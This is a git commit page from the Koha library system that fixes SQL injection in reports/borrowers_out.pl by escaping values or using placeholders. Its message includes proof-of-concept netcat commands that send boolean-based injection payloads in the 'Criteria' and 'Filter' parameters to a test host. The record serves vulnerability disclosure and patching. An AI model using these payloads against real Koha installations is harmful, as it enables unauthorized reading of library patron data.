]> git.koha-community.org Git - koha.git/commit
Bug 14426: Escape or use placeholders for sql parameters
authorJonathan Druart <jonathan.druart@koha-community.org>
Mon, 22 Jun 2015 08:56:26 +0000 (10:56 +0200)
committerChris Cormack <chrisc@catalyst.net.nz>
Tue, 23 Jun 2015 00:18:33 +0000 (12:18 +1200)
commitf260c56838d5c914831b7de1171df11fa5714ce1
treed93fc7a7af4da6dd9f9a4481e58d1a50e169673f
parentbeedae80631f0f34be341274ee63c6b0aeeb75d6
Bug 14426: Escape or use placeholders for sql parameters

Does this patch enough to prevent sql injection in borrowers_out.pl?

====================================================================
1. "Criteria" Parameter, Payload: ELT(1=1,'evil') / ELT(1=2,'evil')
====================================================================

echo -ne "POST /cgi-bin/koha/reports/borrowers_out.pl
HTTP/1.1\r\nHost: testbox:9002\r\nContent-Length:
186\r\n\r\nFilter=P_COM&Filter=&Limit=&output=file&basename=Export&MIME=CSV&sep=%3B&report_name=&do_it=1&userid=<username>&password=<password>&branch=&koha_login_context=intranet&Criteria=ELT(1=2,'evil')"
| nc testbox 9002

echo -ne "POST /cgi-bin/koha/reports/borrowers_out.pl
HTTP/1.1\r\nHost: testbox:9002\r\nContent-Length:
186\r\n\r\nFilter=P_COM&Filter=&Limit=&output=file&basename=Export&MIME=CSV&sep=%3B&report_name=&do_it=1&userid=<username>&password=<password>&branch=&koha_login_context=intranet&Criteria=ELT(1=1,'evil')"
| nc testbox 9002

====================================================================
2. "Filter" Parameter, Payload: P_COM'+AND+'a'='a / P_COM'+AND+'a'='b
====================================================================

echo -ne "POST /cgi-bin/koha/reports/borrowers_out.pl
HTTP/1.1\r\nHost: testbox:9002\r\nContent-Length:
183\r\n\r\nkoha_login_context=intranet&Limit=&Criteria=branchcode&output=file&basename=Export&MIME=CSV&sep=;&report_name=&do_it=1&userid=<userid>&password=<password>&branch=&Filter=P_COM'+AND+'a'='a"
| nc testbox 9002

echo -ne "POST /cgi-bin/koha/reports/borrowers_out.pl
HTTP/1.1\r\nHost: testbox:9002\r\nContent-Length:
183\r\n\r\nkoha_login_context=intranet&Limit=&Criteria=branchcode&output=file&basename=Export&MIME=CSV&sep=;&report_name=&do_it=1&userid=<userid>&password=<password>&branch=&Filter=P_COM'+AND+'a'='b"
| nc testbox 9002

====================================================================

Signed-off-by: Chris Cormack <chrisc@catalyst.net.nz>
Signed-off-by: Katrin Fischer <katrin.fischer.83@web.de>
Signed-off-by: Chris Cormack <chrisc@catalyst.net.nz>
reports/borrowers_out.pl